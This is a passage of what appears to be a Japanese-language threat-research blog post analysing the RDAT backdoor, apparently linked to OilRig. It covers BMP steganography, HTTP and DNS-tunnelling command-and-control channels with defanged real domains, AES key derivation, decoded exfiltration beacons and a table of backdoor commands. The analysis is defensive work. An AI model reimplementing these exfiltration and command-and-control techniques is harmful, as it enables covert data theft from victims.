monospace;\">@<\/span>\u8a18\u53f7\u3092\u4ed8\u52a0\u3057\u3066BMP\u753b\u50cf\u5185\u306b\u57cb\u3081\u8fbc\u307f\u307e\u3059\u3002ASCII\u6587\u5b57\u306e<span style=\"font-family: 'courier new', courier, monospace;\">O<\/span>\u306f\u300116\u9032\u5024\u304c<span style=\"font-family: 'courier new', courier, monospace;\">0x4f<\/span>\u3067\u3042\u308a\u3001base2\u3067\u306f<span style=\"font-family: 'courier new', courier, monospace;\">01001111<\/span>\u3068\u8868\u73fe\u3055\u308c\u307e\u3059\u3002\u3053\u306ebase2\u8868\u73fe\u306e8\u30d3\u30c3\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u5404\u30d4\u30af\u30bb\u30eb\u306e3\u30d0\u30a4\u30c8\u306e\u7279\u5b9a\u306e\u30d3\u30c3\u30c8\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u30c7\u30fc\u30bf\u306e\u30d3\u30c3\u30c80\u3068\u30d3\u30c3\u30c81\u3067\u3001\u30d4\u30af\u30bb\u30eb\u306e1\u30d0\u30a4\u30c8\u76ee\u306e\u30d3\u30c3\u30c81\u3068\u30d3\u30c3\u30c80\u3092\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002<\/li>\n<li>\u30c7\u30fc\u30bf\u306e\u30d3\u30c3\u30c82\u3001\u30d3\u30c3\u30c83\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c84\u3067\u3001\u30d4\u30af\u30bb\u30eb\u306e2\u30d0\u30a4\u30c8\u76ee\u306e\u30d3\u30c3\u30c82\u3001\u30d3\u30c3\u30c81\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c80\u3092\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002<\/li>\n<li>\u30c7\u30fc\u30bf\u306e\u30d3\u30c3\u30c85\u3001\u30d3\u30c3\u30c86\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c87\u3067\u3001\u30d4\u30af\u30bb\u30eb\u306e3\u30d0\u30a4\u30c8\u76ee\u306e\u30d3\u30c3\u30c82\u3001\u30d3\u30c3\u30c81\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c80\u3092\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3053\u306e\u30ed\u30b8\u30c3\u30af\u3092\u4f7f\u7528\u3057\u3066\u3001\"guest.bmp\"\u753b\u50cf\u306e\u30d4\u30af\u30bb\u30eb\u30d0\u30a4\u30c8(<span style=\"font-family: 'courier new', courier, monospace;\">0xe4<\/span>\u3001<span style=\"font-family: 'courier new', courier, monospace;\">0xdf<\/span>\u3001\u304a\u3088\u3073<span style=\"font-family: 'courier new', courier, monospace;\">0xb9<\/span>)\u3092\u8aad\u307f\u8fbc\u307f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">O<\/span>\u3092\u8868\u3059base2\u306e<span style=\"font-family: 'courier new', courier, monospace;\">010 011 11<\/span>\u3067\u4ee5\u4e0b\u306e\u30d3\u30c3\u30c8\u3092\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">0xe4<\/span>\u306e\u30d3\u30c3\u30c82\u3001\u30d3\u30c3\u30c81\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c80\u3092<span style=\"font-family: 'courier new', courier, monospace;\">010<\/span>\u3067\u7f6e\u304d\u63db\u3048\u308b\u3068\u3001<span style=\"font-family: 'courier new', courier, monospace;\">0xe2<\/span>\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">0xdf<\/span>\u306e\u30d3\u30c3\u30c82\u3001\u30d3\u30c3\u30c81\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c80\u3092<span style=\"font-family: 'courier new', courier, monospace;\">110<\/span>\u3067\u7f6e\u304d\u63db\u3048\u308b\u3068\u3001<span style=\"font-family: 'courier new', courier, monospace;\">0xde<\/span>\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">0xb9<\/span>\u306e\u30d3\u30c3\u30c82\u3001\u30d3\u30c3\u30c81\u3001\u304a\u3088\u3073\u30d3\u30c3\u30c80\u3092<span style=\"font-family: 'courier new', courier, monospace;\">11<\/span>\u3067\u7f6e\u304d\u63db\u3048\u308b\u3068\u3001<span style=\"font-family: 'courier new', courier, monospace;\">0xbb<\/span>\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u56f312\u306f\u3001\u3053\u308c\u3089\u306e\u30d3\u30c3\u30c8\u7f6e\u63db\u306e\u65b9\u6cd5\u3068\u3001\u7f6e\u63db\u306b\u3088\u308b\u5909\u66f4\u5f8c\u306e\u6700\u7d42\u7684\u306a\u30d4\u30af\u30bb\u30eb\u30d0\u30a4\u30c8\u306e\u5024\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108048 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-45.png\" alt=\"\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u4f7f\u7528\u3059\u308b\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u306e\u91cd\u8981\u306a\u5074\u9762\u3067\u3042\u308b\u3001BMP\u753b\u50cf\u306b\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u305f\u3081\u306b\u5404\u30d4\u30af\u30bb\u30eb\u306b\u5bfe\u3057\u3066\u5b9f\u884c\u3055\u308c\u308b\u30d3\u30c3\u30c8\u7f6e\u63db\u306e\u30b0\u30e9\u30d5\u30a3\u30ab\u30eb\u306a\u8aac\u660e\" width=\"992\" height=\"233\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f312: BMP\u753b\u50cf\u306b\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u3080\u305f\u3081\u306b\u5404\u30d4\u30af\u30bb\u30eb\u306b\u5bfe\u3057\u3066\u5b9f\u884c\u3055\u308c\u308b\u30d3\u30c3\u30c8\u7f6e\u63db\u306e\u30b0\u30e9\u30d5\u30a3\u30ab\u30eb\u306a\u8aac\u660e<\/em><\/p>\n<h2><a id=\"post-108014-_aeg93hkzuh7e\"><\/a><strong>HTTP\u3068DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306b\u3088\u308bC2\u30c1\u30e3\u30cd\u30eb<\/strong><\/h2>\n<p>\u65b0\u624b\u306eEWS C2\u30c1\u30e3\u30cd\u30eb\u3092\u4f7f\u7528\u3059\u308bRDAT\u30b5\u30f3\u30d7\u30eb\u306f\u3001C2\u30c1\u30e3\u30cd\u30eb\u3068\u3057\u3066HTTP\u3068DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3082\u5099\u3048\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u308c\u306f\u3053\u308c\u307e\u3067\u306b\u53ce\u96c6\u3057\u305f\u4ed6\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u306b\u975e\u5e38\u306b\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u3002HTTP C2\u30c1\u30e3\u30cd\u30eb\u306f\u3001HTTP POST\u8981\u6c42\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u30b3\u30fc\u30c9\u306b\u306f\u3001\u4ee5\u4e0b\u306b\u793a\u30592\u3064\u306e\u30c9\u30e1\u30a4\u30f3\u304c\u8a18\u8ff0\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">allsecpackupdater[.]com<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">tacsent[.]com<\/span><\/p>\n<p>\u30b3\u30fc\u30c9\u304cHTTP C2\u30c1\u30e3\u30cd\u30eb\u306b\u4f7f\u7528\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u306e\u306f<span style=\"font-family: 'courier new', courier, monospace;\">tacsent[.]com<\/span>\u30c9\u30e1\u30a4\u30f3\u306e\u307f\u3067\u3042\u308b\u3053\u3068\u306b\u6ce8\u610f\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u30b3\u30fc\u30c9\u306f<span style=\"font-family: 'courier new', courier, monospace;\">allsecpackupdater[.]com<\/span>\u30c9\u30e1\u30a4\u30f3\u3068\u901a\u4fe1\u3057\u306a\u3044\u306e\u3067\u3001\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u304c\u8a18\u8ff0\u3055\u308c\u3066\u3044\u308b\u7406\u7531\u306f\u4e0d\u660e\u3067\u3059\u304c\u3001\u3053\u306e\u30c4\u30fc\u30eb\u306e\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304b\u3089\u6b8b\u3055\u308c\u305f\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\u3067\u3042\u308b\u53ef\u80fd\u6027\u306f\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\u3001<a href=\"https:\/\/www.clearskysec.com\/greenbug\/\">ClearSky\u304c2017\u5e74\u306b\u767a\u898b<\/a>\u3057\u3001Greenbug\u306eISMDOOR\u30c4\u30fc\u30eb\u3068\u306e\u95a2\u9023\u306b\u3064\u3044\u3066\u8a18\u8ff0\u3057\u3066\u3044\u308b\u3053\u3068\u304b\u3089\u3001\u4ee5\u524d\u306fOilRig\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u3068\u7d50\u3073\u4ed8\u3051\u3089\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>HTTP POST\u8981\u6c42\u306e\u30d8\u30c3\u30c0\u30fc\u306b\u306f\u3001\u30ab\u30b9\u30bf\u30e0\"From\"\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u3042\u308a\u3001\u611f\u67d3\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u306b\u5272\u308a\u5f53\u3066\u308b\u4e00\u610f\u306e\u8b58\u5225\u5b50\u304c\u683c\u7d0d\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u3001URL\u306b\u306f\"v\"\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u4e71\u6570\u304c\u6307\u5b9a\u3055\u308c\u3001\u30e6\u30fc\u30b6\u30fc\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306b\u306f\"chrome\"\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u56f313\u306b\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304cC2\u306b\u5bfe\u3059\u308b\u521d\u671f\u30d3\u30fc\u30b3\u30f3\u3068\u3057\u3066\u767a\u884c\u3059\u308bHTTP POST\u306e\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306b\u306f\u7570\u4f8b\u306e\"chrome\"\u304c\u8a2d\u5b9a\u3055\u308c\u3001\u30ab\u30b9\u30bf\u30e0\"From\"\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108050 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-46.png\" alt=\"RDAT\u30b5\u30f3\u30d7\u30eb\u304cHTTP C2\u30c1\u30e3\u30cd\u30eb\u7d4c\u7531\u3067\u9001\u4fe1\u3059\u308b\u521d\u671f\u30d3\u30fc\u30b3\u30f3\" width=\"824\" height=\"318\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f313: RDAT\u30b5\u30f3\u30d7\u30eb\u304cHTTP C2\u30c1\u30e3\u30cd\u30eb\u7d4c\u7531\u3067\u9001\u4fe1\u3059\u308b\u521d\u671f\u30d3\u30fc\u30b3\u30f3<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001POST\u8981\u6c42\u3067\u9001\u4fe1\u3059\u308b\u30c7\u30fc\u30bf\u3092\u3001AES\u6697\u53f7\u306eCBC\u30e2\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u3066\u6697\u53f7\u5316\u3057\u307e\u3059\u3002\u3053\u306e\u30c7\u30fc\u30bf\u3092\u5fa9\u53f7\u3059\u308b\u306b\u306f\u3001\u6700\u521d\u306b\u30c7\u30fc\u30bf\u81ea\u4f53\u3092URL\u30bb\u30fc\u30d5\u306a16\u9032\u6570\u306e\u30d1\u30fc\u30bb\u30f3\u30c8\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6587\u5b57\u304b\u3089\u305d\u308c\u3089\u3068\u7b49\u4fa1\u306a\u6587\u5b57\u3067\u3042\u308b\/\u3001+\u3001\u304a\u3088\u3073=\u306b\u5909\u63db\u3057\u307e\u3059\u3002\u5909\u63db\u5f8c\u306e\u30c7\u30fc\u30bf\u3092base64\u3067\u30c7\u30b3\u30fc\u30c9\u3057\u3066\u3001\u6b21\u306bFrom\u30d5\u30a3\u30fc\u30eb\u30c9\u306e\u5024\u3092\u9375\u304a\u3088\u3073\u521d\u671f\u8a2d\u5b9a\u30d9\u30af\u30c8\u30eb(IV)\u3068\u3057\u3066\u4f7f\u7528\u3057\u3066AES\u3067\u5fa9\u53f7\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001From\u306e\u5024\u3092\u9375\u304a\u3088\u3073IV\u3068\u3057\u3066\u4f7f\u7528\u3057\u3066AES\u6697\u53f7\u3067POST\u30c7\u30fc\u30bf\u3092\u5fa9\u53f7\u3059\u308b\u3068\u3001\u4ee5\u4e0b\u306e\u5e73\u6587\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">1,1543511637567325,12031\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08<\/span><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u3053\u306eHTTP POST\u306b\u5bfe\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u306e\u5fdc\u7b54\u3092\u6b63\u898f\u8868\u73fe<span style=\"font-family: 'courier new', courier, monospace;\">[^,]+<\/span>\u3092\u4f7f\u7528\u3057\u3066\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001C2\u304b\u3089\u30b3\u30de\u30f3\u30c9\u304c\u9001\u4fe1\u3055\u308c\u305f\u304b\u3069\u3046\u304b\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002\u4e00\u5ea6\u306b\u6301\u3061\u51fa\u3059\u3053\u3068\u304c\u3067\u304d\u308b\u30c7\u30fc\u30bf\u306f102,400\u30d0\u30a4\u30c8\u306e\u307f\u306a\u306e\u3067\u3001\u5fdc\u7b54\u5185\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u306e\u30aa\u30d5\u30bb\u30c3\u30c8\u3092C2\u306b\u901a\u77e5\u3057\u3066\u3001C2\u304c\u30c7\u30fc\u30bf\u3092\u518d\u69cb\u7bc9\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p>DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u3001AES\u306e\u9375\u3068\u3057\u3066\u7b2c2\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4f7f\u7528\u3059\u308b\u70b9\u3067\u3001\u3053\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b\u3067\u524d\u8ff0\u3057\u305f\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u975e\u5e38\u306b\u3088\u304f\u4f3c\u3066\u3044\u307e\u3059\u304c\u3001\u4f7f\u7528\u3059\u308b\u306e\u306f2\u6587\u5b57\u3067\u306f\u306a\u304f4\u6587\u5b57\u3067\u3059\u3002\u307e\u305f\u3001\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u3067\u4f7f\u7528\u3055\u308c\u305fRDAT\u30b5\u30f3\u30d7\u30eb\u3068\u540c\u3058\u6587\u5b57\u306e\u7f6e\u63db(<span style=\"font-family: 'courier new', courier, monospace;\">=<\/span>\u3092<span style=\"font-family: 'courier new', courier, monospace;\">-<\/span>\u306b\u3001<span style=\"font-family: 'courier new', courier, monospace;\">\/<\/span>\u3092<span style=\"font-family: 'courier new', courier, monospace;\">_<\/span>\u306b\u3001<span style=\"font-family: 'courier new', courier, monospace;\">+<\/span>\u3092<span style=\"font-family: 'courier new', courier, monospace;\">-a<\/span>\u306b\u7f6e\u63db)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c9\u30e1\u30a4\u30f3\u540d\u3067\u4f7f\u7528\u3067\u304d\u306a\u3044\u6587\u5b57\u3092\u524a\u9664\u3057\u307e\u3059\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306eDNS\u30c8\u30f3\u30cd\u30eb\u306f\u3001DNS A\u30ec\u30b3\u30fc\u30c9\u30af\u30a8\u30ea\u304a\u3088\u3073HTTP C2\u30c1\u30e3\u30cd\u30eb\u3068\u540c\u3058\u30c9\u30e1\u30a4\u30f3\u3092\u4f7f\u7528\u3057\u3066\u304a\u308a\u3001\u4ee5\u4e0b\u306b\u793a\u3059\u3088\u3046\u306a\u521d\u671f\u30d3\u30fc\u30b3\u30f3\u3092\u751f\u6210\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">P9rktZsukI5RVAdZWSR-a6uVYKeQJ-azhVLzUUfGs1TDQ-.fN26.tacsent[.]com<\/span><\/p>\n<p>C2\u306f\u3001\u3053\u306e\u30d3\u30fc\u30b3\u30f3\u3092\u5fa9\u53f7\u3059\u308b\u305f\u3081\u306b\u3001\u7b2c2\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u4f7f\u7528\u3057\u3066fN26fN26fN26fN26\u3068\u3044\u3046AES\u306e\u9375\u3068IV\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u7b2c2\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u30924\u56de\u7e70\u308a\u8fd4\u3057\u3066\u4f5c\u6210\u3057\u305f16\u30d0\u30a4\u30c8\u6587\u5b57\u5217\u3067\u3059\u3002\u751f\u6210\u3055\u308c\u305f\u5e73\u6587\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u901a\u4fe1\u30bf\u30a4\u30d7\u3068\u4e00\u610f\u306e\u30b7\u30b9\u30c6\u30e0\u8b58\u5225\u5b50\u3092\u542b\u3080\u30ab\u30f3\u30de\u533a\u5207\u308a\u306e\u6587\u5b57\u5217\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">3,1543511637567325,0\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c<\/span><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u3053\u306eDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u3092\u6301\u3061\u51fa\u3059\u305f\u3081\u306b\u3001\u30af\u30a8\u30ea\u3059\u308b\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3001\u5177\u4f53\u7684\u306b\u306f\u30c7\u30fc\u30bf\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u793a\u3059\u30d5\u30a3\u30fc\u30eb\u30c9\u3068\u6301\u3061\u51fa\u3059\u30c7\u30fc\u30bf\u3092\u793a\u3059\u30d5\u30a3\u30fc\u30eb\u30c9\u3092\u8ffd\u52a0\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u4ee5\u4e0b\u306eDNS\u30af\u30a8\u30ea\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3092C2\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">1.44gkxXizTF3QJU0F2AllV_0qhr1xcYmy8GeMB6nnGNSw0bls7JpP0zIqvnyO.xEZlrurmSHgf<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">uoAcqi9blguWDzwH9oQCWZ-aTeBSBE2M-.tJ8z.tacsent[.]com<\/span><\/p>\n<p>\u7b2c5\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u30c7\u30fc\u30bf\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3067\u3059\u3002C2\u306f\u3001\u3053\u306e\u756a\u53f7\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c7\u30fc\u30bf\u3092\u518d\u69cb\u7bc9\u3067\u304d\u307e\u3059\u3002DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u5404DNS\u8981\u6c42\u5185\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u6e08\u307f\u6697\u53f7\u5316\u30c6\u30ad\u30b9\u30c8\u309260\u30d0\u30a4\u30c8\u305a\u3064\u9001\u4fe1\u3059\u308b\u306e\u3067\u3001\u30c7\u30fc\u30bf\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u306f1\u304b\u3089\u59cb\u307e\u3063\u306660\u305a\u3064\u5897\u3048\u307e\u3059\u3002\u7b2c4\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u306f\u3001RDAT\u304cC2\u306b\u9001\u4fe1\u3059\u308b\u30a8\u30f3\u30b3\u30fc\u30c9\u6e08\u307f\u6697\u53f7\u5316\u30c6\u30ad\u30b9\u30c860\u30d0\u30a4\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u7b2c3\u30ec\u30d9\u30eb\u3068\u7b2c2\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306f\u30d3\u30fc\u30b3\u30f3\u3068\u540c\u3058\u3067\u3059\u3002\u524d\u8ff0\u306e\u4f8b\u3067\u306f\u3001AES\u306e\u9375\u3068IV\u306f<span style=\"font-family: 'courier new', courier, monospace;\">tJ8ztJ8ztJ8ztJ8z<\/span>\u3068\u306a\u308a\u3001\u3053\u308c\u3067\u7b2c3\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u5fa9\u53f7\u3059\u308b\u3068\u3001\u4ee5\u4e0b\u306e\u5e73\u6587\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">2,1543511637567325,0\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c<\/span><\/p>\n<p>\u540c\u3058AES\u9375\u3068IV\u3092\u4f7f\u7528\u3057\u3066\u5fa9\u53f7\u3057\u305f\u7b2c4\u30ec\u30d9\u30eb\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u5e73\u6587\u306b\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u304c\u542b\u307e\u308c\u307e\u3059\u3002\u524d\u8ff0\u306e\u4f8b\u3067\u306f\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">1:|2:MicrosoftWindows7Professionw\\x01<\/span><\/p>\n<p>RDAT\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u4f7f\u7528\u3059\u308bC2\u30c1\u30e3\u30cd\u30eb\u3068\u306f\u7121\u95a2\u4fc2\u306b\u3001\u30b3\u30de\u30f3\u30c9\u30cf\u30f3\u30c9\u30e9\u3092\u4f7f\u7528\u3057\u3066\u5fdc\u7b54\u3092\u89e3\u6790\u3057\u3066\u3001\u5b9f\u884c\u3059\u308b\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002\u88683\u306b\u3001\u30b3\u30de\u30f3\u30c9\u30cf\u30f3\u30c9\u30e9\u3067\u4f7f\u7528\u3067\u304d\u308b\u30b3\u30de\u30f3\u30c9\u304a\u3088\u3073\u30da\u30a4\u30ed\u30fc\u30c9\u304cC2\u306b\u9001\u4fe1\u3059\u308b\u5fdc\u7b54\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u69cb\u9020\u3092\u793a\u3057\u307e\u3059\u3002\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u3067\u78ba\u8a8d\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u3067\u4f7f\u7528\u3067\u304d\u308b3\u3064\u306e\u30b3\u30de\u30f3\u30c9\u306b\u6bd4\u3079\u308b\u3068\u3001\u3053\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u306e\u30b3\u30de\u30f3\u30c9\u30cf\u30f3\u30c9\u30e9\u306f\u591a\u304f\u306e\u6a5f\u80fd\u3092\u5099\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n<table style=\"width: 100%;\">\n<tbody>\n<tr>\n<td style=\"width: 20.9067%;\"><strong>\u30b3\u30de\u30f3\u30c9\u306e\u69cb\u9020<\/strong><\/td>\n<td style=\"width: 24.0534%;\"><strong>\u5fdc\u7b54\u306e\u69cb\u9020<\/strong><\/td>\n<td style=\"width: 54.6666%;\"><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">0,<\/td>\n<td style=\"width: 24.0534%;\"><\/td>\n<td style=\"width: 54.6666%;\">\u30a2\u30a4\u30c9\u30eb\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">1,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u5b9f\u884c\u3059\u3079\u304d\u30b3\u30de\u30f3\u30c9&gt;<\/td>\n<td style=\"width: 24.0534%;\">2,&lt;16\u6587\u5b57\u306e\u30b7\u30b9\u30c6\u30e0ID&gt;,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u7d50\u679c&gt;,&lt;\u30c7\u30fc\u30bf\u5185\u30aa\u30d5\u30bb\u30c3\u30c8&gt;,&lt;\u7dcf\u30c7\u30fc\u30bf\u9577\u3055&gt;<\/td>\n<td style=\"width: 54.6666%;\">\"cmd.exe \/c\"\u3092\u4f7f\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">2,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;\u5e73\u6587\u30d5\u30a1\u30a4\u30eb\u540d&gt;<\/td>\n<td style=\"width: 24.0534%;\">3,&lt;16\u6587\u5b57\u306e\u30b7\u30b9\u30c6\u30e0ID&gt;,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9&gt;,&lt;\u30c7\u30fc\u30bf\u5185\u30aa\u30d5\u30bb\u30c3\u30c8&gt;,&lt;\u7dcf\u30c7\u30fc\u30bf\u9577\u3055&gt;<\/td>\n<td style=\"width: 54.6666%;\">\u30b7\u30b9\u30c6\u30e0\u304b\u3089\u6307\u5b9a\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">3,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;\u30d5\u30a1\u30a4\u30eb\u540d&gt;,&lt;\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba&gt;<\/td>\n<td style=\"width: 